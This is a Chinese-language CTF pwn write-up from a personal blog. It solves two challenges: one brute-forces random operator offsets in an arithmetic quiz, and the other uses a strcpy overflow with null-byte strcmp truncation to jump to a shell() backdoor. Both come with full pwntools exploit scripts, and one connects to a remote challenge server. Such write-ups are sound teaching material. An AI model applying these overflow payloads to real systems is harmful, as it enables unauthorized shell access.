mobile wallpaper 1mobile wallpaper 2mobile wallpaper 3mobile wallpaper 4mobile wallpaper 5mobile wallpaper 6
570 字
1 分钟
stackStruct
2025-11-30

随机数爆破#

除了实用调用libc的获取随机数的方法,还可以通过爆破方式获取随机数

例题 testnc_revenge#

checksec ./pwn
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments
SHSTK: Enabled
IBT: Enabled
Stripped: No

打开 IDA 我们分析代码

int __fastcall main(int argc, const char **argv, const char **envp)
{
unsigned int buf[18]; // [rsp+0h] [rbp-50h] BYREF
int fd; // [rsp+48h] [rbp-8h]
int n119; // [rsp+4Ch] [rbp-4h]
init(argc, argv, envp);
fd = open("/dev/urandom", 0);
read(fd, buf, 4u);
puts("Can you finish this test?");
seed = buf[0];
srand(buf[0]);
setNum();
for ( n119 = 0; n119 <= 119; ++n119 )
{
if ( (unsigned int)cala((unsigned int)n119) )
{
puts("You lose");
exit(-1);
}
puts("Good");
puts("Next task");
}
puts("You got it!");
system("cat flag");
return 0;
}
_BOOL8 __fastcall cala(__int64 n119)
{
unsigned int seed_2; // eax
unsigned int seed_1; // eax
unsigned int seed; // eax
int v5; // [rsp+1Ch] [rbp-24h] BYREF
int v6; // [rsp+20h] [rbp-20h] BYREF
int v7; // [rsp+24h] [rbp-1Ch] BYREF
int v8; // [rsp+2Ch] [rbp-14h]
int v9; // [rsp+34h] [rbp-Ch]
int v10; // [rsp+3Ch] [rbp-4h]
if ( (int)n119 > 39 )
{
if ( (int)n119 > 79 )
{
v10 = rand() % 6;
if ( !flag3 )
{
flag3 = 1;
seed = rand();
srand(seed);
offset = rand() % 6;
}
printf("%d %c %d = \n", Num1[(int)n119], (unsigned int)sym[offset + v10], Num2[(int)n119]);
__isoc99_scanf("%d", &v5);
return (unsigned int)Trueval((unsigned int)Num1[(int)n119], (unsigned int)sym[v10], (unsigned int)Num2[(int)n119]) != v5;
}
else
{
v9 = rand() % 6;
if ( !flag2 )
{
flag2 = 1;
seed_1 = rand();
srand(seed_1);
offset = rand() % 6;
}
printf("%d %c %d = \n", Num1[(int)n119], (unsigned int)sym[offset + v9], Num2[(int)n119]);
__isoc99_scanf("%d", &v6);
return (unsigned int)Trueval((unsigned int)Num1[(int)n119], (unsigned int)sym[v9], (unsigned int)Num2[(int)n119]) != v6;
}
}
else
{
v8 = rand() % 6;
if ( !flag1 )
{
flag1 = 1;
seed_2 = rand();
srand(seed_2);
offset = rand() % 6;
}
printf("%d %c %d = \n", Num1[(int)n119], (unsigned int)sym[offset + v8], Num2[(int)n119]);
__isoc99_scanf("%d", &v7);
return (unsigned int)Trueval((unsigned int)Num1[(int)n119], (unsigned int)sym[v8], (unsigned int)Num2[(int)n119]) != v7;
}
}
__int64 __fastcall Trueval(unsigned int a1, char n120_1, int a3)
{
__int64 n120; // rax
n120 = (unsigned int)n120_1;
if ( (_DWORD)n120 == 120 )
return a3 * a1;
if ( (int)n120 <= 120 )
{
if ( (_DWORD)n120 == 94 )
{
return a3 ^ a1;
}
else if ( (int)n120 <= 94 )
{
if ( (_DWORD)n120 == 45 )
{
return a1 - a3;
}
else if ( (int)n120 <= 45 )
{
if ( (_DWORD)n120 == 43 )
{
return a1 + a3;
}
else if ( (int)n120 <= 43 )
{
if ( (_DWORD)n120 == 37 )
{
return (unsigned int)((int)a1 % a3);
}
else if ( (_DWORD)n120 == 38 )
{
return a3 & a1;
}
}
}
}
}
return n120;
}

分析发现这是一个随机数答题的程序,其中的题目有三个阶段,而且在答题的时候,实际显示的运算符和程序内部的计算运算符不同,但是通过分析程序发现 这三个偏移量是在同一个时间生成并存储在buf 中 所以 只要确定了第一个阶段的偏移量,那么就可以确定第二阶段和第三阶段的偏移量,那么我们可以直接通过枚举的方式获得三个阶段的答题,从而获得shell

所以写出如下exp.py 脚本

from pwn import *
from typing import Callable
from dataclasses import dataclass
import time
# context.log_level = "debug"
"""
枚举所有的 可能偏移,最坏的情况下 有 6^3 种情况
"""
@dataclass
class StageProc:
proc: process
procoffset: int
sym_list = ['+', '-', 'x', '%', '^', '&', '+', '-', 'x', '%', '^', '&']
def calculate(a: int, op: str, b: int) -> int:
if op == '+':
return a + b
elif op == '-':
return a - b
elif op == 'x':
return a * b
elif op == '%':
return a % b if b != 0 else 0
elif op == '^':
return a ^ b
elif op == '&':
return a & b
else:
return 0
def calcPart(p: process, offset: int) -> int:
global sym_list
res = -1
# log.info(f"Get calcPart")
# time.sleep(.5)
parts = p.recv().decode().split()
while not "=" in parts: # 防止因为io玄学问题导致接受不全
parts += p.recv().decode().split()
try:
num1 = int(parts[-4])
disOp = parts[-3]
op = sym_list[sym_list.index(disOp) + offset]
num2 = int(parts[-2])
res = calculate(num1, op, num2)
# log.info(f"Calc: {num1} {op} {num2} = {res}")
except:
log.error(f"calcPartsError: {parts}")
log.error(f"Break!")
return res
# 寻找获取
# stage ==> 1, 2, 3
def findOffset(pFunc: Callable[[], process], stage: int) -> StageProc:
# p = pFunc()
offset = 0
while True:
p = pFunc()
res = calcPart(p, offset)
p.sendline(str(res).encode())
back = p.recvline()
if b"lose" in back:
log.warn(f"findOffsetFail : {stage}")
p.close()
offset += 1
offset = 0 if offset > 6 else offset
else:
log.success(f"findOffset {stage} : offset => {offset}")
return StageProc(
proc = p,
procoffset = offset
)
# break
# 计算 该阶段接下来的题目
def CalcPartsWithOffset(ps: StageProc, stage: int) -> process:
for _ in range(39):
res = calcPart(ps.proc, ps.procoffset)
ps.proc.sendline(str(res))
back = ps.proc.recvline()
if b"lose" in back:
log.error(f"Stage{stage} CalcFail Step:{_}")
raise ValueError("Stage Calc Fail Error!")
# 尝试捕获最后几个算式
if _ >= 37 and stage == 3:
log.info(f"Proc: {_}: {back} ")
return ps.proc
def pCreate() -> process:
return process("./pwn")
# return remote("175.27.251.122", 33490)
# 计算 阶段一
def Stage1() -> process:
try:
temp = findOffset(pCreate, 1)
return CalcPartsWithOffset(temp, 1)
except:
log.error("Restart: Stage1")
return Stage1()
def Stage2() -> process:
try:
temp = findOffset(Stage1, 2)
return CalcPartsWithOffset(temp, 2)
except:
log.error("Restart: Stage2")
return Stage2()
def Stage3() -> process:
try:
temp = findOffset(Stage2, 3)
return CalcPartsWithOffset(temp, 3)
except:
log.error("Restart: Stage3")
return Stage3()
def tryStageRetry() -> process:
for attempt in range(10):
try:
res = Stage3()
log.success(f"Stage3 第{attempt+1}次尝试成功")
return res
except PwnlibException as e:
log.warning(f"Stage1 第{attempt+1}次尝试失败: {e}")
time.sleep(1)
p = tryStageRetry()
print(p.recvall()) #显示答案

总结#

对于此类问题,可以去尝试分析程序,寻找程序的逻辑漏洞,比如固定的随机数种子等。。为爆破构建出条件

strcpy & strcmp#

  1. strcpy 字符串赋值 -
  • char* strcpy(char* dest, const char* src)
  • src指向的字符串(包括终止的字符串\0) 复制到 dest 所指向的缓冲区
  • 缺陷: 完全信任 src,不做任何检查,容易产生溢出
  1. strcmp 字符串比较 -
  • int strcmp(const char* str1, const char* str2)
  • 比较字符串,如果两个字符串相同则返回0,如果不相同,则根据字典序返回正数或者负数
  • 缺陷: 也是完全信任两个比较值,比较的只是 \0 之前的字符,也就是说可以通过 \0 来进行截断

例题 str_ERROR#

将程序提供的文件放入 ida

int __fastcall main(int argc, const char **argv, const char **envp)
{
char user_copy[41]; // [rsp+0h] [rbp-90h] BYREF
char correct_password[7]; // [rsp+29h] [rbp-67h] BYREF
char password[48]; // [rsp+30h] [rbp-60h] BYREF
char username[48]; // [rsp+60h] [rbp-30h] BYREF
init();
strcpy(correct_password, "Secret");
puts("====secure system====");
puts("Please input your username: ");
read(0, username, 0x30u);
puts("Please input your password: ");
read(0, password, 0x130u);
strcpy(user_copy, username);
if ( strcmp(password, correct_password) )
exit(-1);
puts("success!");
return 0;
}
void __cdecl shell() // Addr => 0x40125B
{
system("/bin/sh");
puts("I believe you can get shell!");
}

发现这是一个登录界面的程序 其中 strcpy 有严重的溢出漏洞

通过查看栈空间分布发现

-0000000000000090
-0000000000000090 char user_copy[41];
-0000000000000067 char correct_password[7];
-0000000000000060 char password[48];
-0000000000000030 char username[48];
+0000000000000000 _QWORD __saved_registers;
+0000000000000008 _UNKNOWN *__return_address;
+0000000000000010
+0000000000000010 // end of stack variables

可以通过 写入password 覆盖后边的结构,所以现在的问题就是如何绕过 strcmp 比较,于是我们可以通过 构建payload 使得比较的变量相同

于是写出如下exp

from pwn import *
context.log_level = "debug"
backdoorAddr = 0x40125b
ret = 0x40101a
# p = process("./pwn")
# 175.27.251.122:33504
p = remote("175.27.251.122", 33504)
# username:/
p.recvuntil(b"Please input your username: \n")
payload = b"a" * 41 + b"Secret"
# payload = b"a"
p.send(payload)
p.recvuntil(b"Please input your password: \n")
payload = flat([
b"Secret\0",
b"a" * (41),
b"a" * 41 + b"Secret\0",
p64(ret),
p64(ret),
p64(backdoorAddr)
])
p.send(payload)
p.interactive()

总结#

在通过栈溢出漏洞劫持程序的时候,与需要兼顾园本的栈结构,这样不仅可以提高攻击的稳定性,也可以产生意想不到的效果

分享

如果这篇文章对你有帮助,欢迎分享给更多人!

stackStruct
https://yoyolp.github.io/posts/11/30/
作者
超级玉米人
发布于
2025-11-30
许可协议
CC BY-NC-SA 4.0

部分信息可能已经过时

目录